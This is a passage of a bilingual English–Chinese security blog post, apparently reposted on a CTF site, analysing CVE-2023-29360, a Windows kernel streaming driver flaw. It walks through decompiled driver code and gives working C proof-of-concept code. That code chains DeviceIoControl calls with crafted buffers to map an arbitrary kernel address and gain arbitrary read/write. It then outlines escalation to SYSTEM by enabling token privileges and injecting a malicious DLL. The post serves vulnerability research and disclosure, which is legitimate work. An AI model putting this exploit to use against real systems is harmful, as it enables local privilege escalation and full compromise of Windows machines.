FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);
...
}
}
FSStreamReg::ConsumeTx
checks the flag of FsStreamReg
object at [9]
, and take out a FsFrameMdl
object, which contains the manipulated MDL by this vulnerability, from the published list ([10]
). Then, FSFrameMdl::MapPages
is called to mapping the MDL ([11]
).
FSStreamReg::ConsumeTx
FsStreamReg
检查对象的标志 [9]
,然后从已发布的列表 ( [10]
) 中取出一个包含此漏洞操纵的 MDL FsFrameMdl
的对象。然后, FSFrameMdl::MapPages
调用映射 MDL ( [11]
)。
In order to call FSFrameMdl::MapPages
, the condition in [9]
must be satisfied, which is that FsStreamReg + 0x28
and FsStreamReg + 0x2C
are not be NULL. Each of the value is set in FSStreamReg::Initialize
and FSStreamReg::Register
, respectively.
为了调用 FSFrameMdl::MapPages
,必须满足 中的 [9]
条件,即 和 FsStreamReg + 0x28
FsStreamReg + 0x2C
不为 NULL。每个值分别设置在 FSStreamReg::Initialize
和 FSStreamReg::Register
中。
__int64 __fastcall FSStreamReg::Initialize(__int64 FsStreamReg, struct _IRP *a2, struct FSRegObjectList *a3, __int64 data, char a5)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 320), v9, a5);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetInitProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
...
*(_DWORD *)(FsStreamReg + 440) = *(_DWORD *)(data + 32) << 10;
*(_DWORD *)(FsStreamReg + 448) = *(_DWORD *)(data + 28);
*(_DWORD *)(FsStreamReg + 152) = 1;
*(_QWORD *)(FsStreamReg + 160) = *(_QWORD *)(data + 8);
*(_QWORD *)(FsStreamReg + 168) = *(_QWORD *)(data + 16);
*(_DWORD *)(FsStreamReg + 176) = *(_DWORD *)(data + 24);
*(_DWORD *)(FsStreamReg + 180) = *(_DWORD *)(data + 28);
*(_QWORD *)(FsStreamReg + 192) = 0i64;
// [*] Set FsStreamReg + 0x28 As 1, HERE
*(_DWORD *)(FsStreamReg + 0x28) = 1;
*(_QWORD *)(FsStreamReg + 456) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
return v5;
}
__int64 __fastcall FSStreamReg::Register(__int64 FsStreamReg, struct _IRP *a2, const struct _FSStreamRegInfo *a3, KPROCESSOR_MODE a4)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 200), v9, a4);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetRegProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
*(_DWORD *)(FsStreamReg + 0x98) |= 2u;
*(_QWORD *)(FsStreamReg + 0x1D0) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
// [*] Set FsStreamReg + 0x2C As 1, HERE
*(_DWORD *)(FsStreamReg + 0x2C) = 1;
return v4;
}
FSStreamReg::Initialize
is called in FSRendezvousServer::InitializeStream
, which should be called when you trigger this vulnerability as explained in the PoC section. FSStreamReg::Register
is called in FSRendezvousServer::RegisterStream
, which is triggered when IoControlCode
is 0x2F0420
.
FSStreamReg::Initialize
FSRendezvousServer::InitializeStream
在触发此漏洞时应调用,如 PoC 部分所述。 FSStreamReg::Register
被调用, FSRendezvousServer::RegisterStream
在 IoControlCode
时 0x2F0420
触发。
__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2)
{
obj = a2->Tail.Overlay.CurrentStackLocation;
// [12]. Check obj->FileObject->FsContext2 is NULL
if ( obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2 )
return 0xC0000010;
data = (__int64)a2->AssociatedIrp.MasterIrp;
/**
Validate the user data
**/
// call FSStreamReg::Register
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
else
v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
}
However, if the obj->FileObject->FsContext2
isn’t NULL, this function immediately returns without calling FSStreamReg::Register
([12]
). Because obj->FileObject->FsContext2
is already set to FSStreamReg
to trigger the vulnerability, this condition will not meet. But, this condition can easily be satisfied using another handle for this device because the obj->FileObject
is allocated for each handle.
但是,如果 不 obj->FileObject->FsContext2
为 NULL,则此函数会立即返回而不调用 FSStreamReg::Register
( [12]
)。因为 obj->FileObject->FsContext2
已经设置为 FSStreamReg
触发漏洞,所以不会满足此条件。但是,对于此设备使用另一个句柄可以很容易地满足此条件,因为为每个句柄分配了 。 obj->FileObject
Finally, we can map the arbitrary address by this vulnerability.
最后,我们可以通过这个漏洞映射任意地址。
hDeviceClient = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous
printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream
// Create Server Handle
hDeviceServer = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
printf("[+] Register Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &2 == Non ZERO
*(DWORD64*)(inputBuffer + 0x8) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, 0, 0, NULL); // NON ZERO
// Register Stream to Server Handle
ntstatus = DeviceIoControl(hDeviceServer, 0x2F0420, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // RegisterStream
ULONG_PTR targetaddr = TARGET_ADDRESS;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // flag : (BYTE)(1,4,8)
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx
printf("[+] ComsumeTx, Mapping MDL ==> Arbitrary R/W\n");
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x60) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x6C) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // 1,4,8
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0410, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // ComsumeTx
DWORD64 mapaddr = *(DWORD64*)(outputBuffer + 0x48);
printf("[*] mapaddr : %p\n", mapaddr);
From here, we can use any preferred method to elevate the privilege using the given arbitrary read/write primitive.
从这里,我们可以使用任何首选方法,使用给定的任意读/写原语来提升权限。
In our 1-day full chain, we enable the privilege bit in token object and inject the malicious dll to SYSTEM privileged process to get the code execution. (You can refer Easy Local Windows Kernel Exploitation: Enableing privilege — BlackHat 2012 for this technique.)
在我们的 1 天完整链中,我们在 token 对象中启用特权位,并将恶意 dll 注入 SYSTEM 特权进程以获取代码执行。(有关此技术,您可以参考 Easy Local Windows Kernel Exploitation: Enableing privilege — BlackHat 2012。
More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at [email protected].
包括 PoC 和漏洞利用代码在内的更多详细信息位于 Fermium-252:网络威胁情报数据库。如果您对 Fermium-252 服务感兴趣,请 [email protected] 与我们联系。
Conclusion 结论
This post provided the analysis on CVE-2023–29360 which is exploited in our 1-day full chain demo. The next post will cover CVE-2023–34044, a VMware information leakage found by Theori(@pr0ln) which is a variant of CVE-2023–20870.
这篇文章提供了对 CVE-2023–29360 的分析,该分析在我们为期 1 天的全链演示中被利用。下一篇文章将介绍 CVE-2023–34044,这是 Theori( @pr0ln) 发现的 VMware 信息泄漏,它是 CVE-2023–20870 的变体。
Reference 参考
- https://github.com/Nero22k/cve-2023-29360
- https://big5-sec.github.io/posts/CVE-2023-29360-analysis/
- https://bsodtutorials.blogspot.com/2013/12/understanding-mdls-memory-descriptor.html
- https://shhoya.github.io/windows_MDL.html
- https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
转载请注明:Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System | CTF导航